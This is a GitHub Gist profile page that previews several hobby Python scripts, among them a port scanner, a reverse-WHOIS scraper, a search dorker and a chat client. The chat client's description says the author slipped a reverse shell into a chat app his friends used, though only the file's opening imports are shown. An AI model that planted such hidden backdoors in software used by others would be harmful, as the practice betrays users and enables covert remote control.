Skip to content

Instantly share code, notes, and snippets.

View anmolj7's full-sized avatar

Anmol Jhamb anmolj7

View GitHub Profile
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
from math import log, floor
def dec_to_bin(N):
if N == 0 or N == 1:
return N
String = ''
Powers = []
while N > 0:
x = log(N, 2)
@anmolj7
anmolj7 / multiChatClient.py
Created December 3, 2019 19:17
This reverse_shell is built,on the top of https://github.com/KetanSingh11/SimpleChatApp Actually, I was bored in my school one day, so, I thought of creating a chat app, so, I took the following repo, and once, our gang started using this chat app, I just modified the code to add a reverse_shell, I did watch all of bukcy robert's tutorials. So, …
""" Script for Tkinter GUI chat client. """
import tkinter
from socket import AF_INET, socket, SOCK_STREAM, gethostbyname, gethostname
from threading import Thread
import math
import subprocess as sp
def receive():
""" Handles receiving of messages. """
while True:
@anmolj7
anmolj7 / reverseDNS.py
Created December 3, 2019 19:58
I first tried with requests and bs4 but it didn't work, the captcha came, so, instead, I had to use mechanize to browse the url, I mean, I could've used mechanize to fill out the form, and then, parse html, but why bother when you can just do this?
import mechanize
from bs4 import BeautifulSoup
name = input("Enter the name you wanna search for: ").replace(" ", "+")
br = mechanize.Browser()
br.addheaders = [("User-agent","Mozilla/5.0")]
resp = br.open("https://viewdns.info/reversewhois/?q={}".format(name))
soup = BeautifulSoup(resp.read(), "lxml")
@anmolj7
anmolj7 / custom_dork.py
Last active December 3, 2019 20:38
The google search isn't working :(
import requests
from bs4 import BeautifulSoup
from fake_useragent import UserAgent
ua = UserAgent().random
def bing_search(string):
urls = []
payload = {
'q': string
import socket, threading
def connect(ip, port_number, delay, output):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(delay)
try:
sock.connect((ip, port_number))
output[port_number] = True
except:
@anmolj7
anmolj7 / control_mouse.py
Created December 4, 2019 06:00
I actually worked as an intern for an IOT company for 2 weeks, and I created a red object tracker there, so, I just modified the code to control the mouse. The directions are a bit confusing, Like, if you move your hand up, it moves the cursor down.
#import requests This is a required module if you want to use your android's webcam.
import cv2
import numpy as np
import pyautogui
import mouse
from math import sqrt
prev_cord = None
sX, sY = pyautogui.size()
sX, sY = sX//2, sY//2
from PIL import Image
def gen_data(data):
new_data = []
for i in data:
new_data.append(format(ord(i), '08b'))
return new_data
#!/bin/bash
file=$(ls -1 | python3 -c "import os; import random; files=os.listdir(os.getenv('HOME')+'/Pictures/Wallpapers'); print(random.choice(files));")
XDG_RUNTIME_DIR=/run/user/$(id -u) gsettings set org.gnome.desktop.background picture-uri file:///$HOME/Pictures/Wallpapers/$file
import subprocess as sp
import socket
def clrscr():
sp.call("clear", shell=True)
def get_ip():
output = sp.check_output(["ip route | grep default"], shell=True) # Gets the gateway.
output = output.decode("utf8")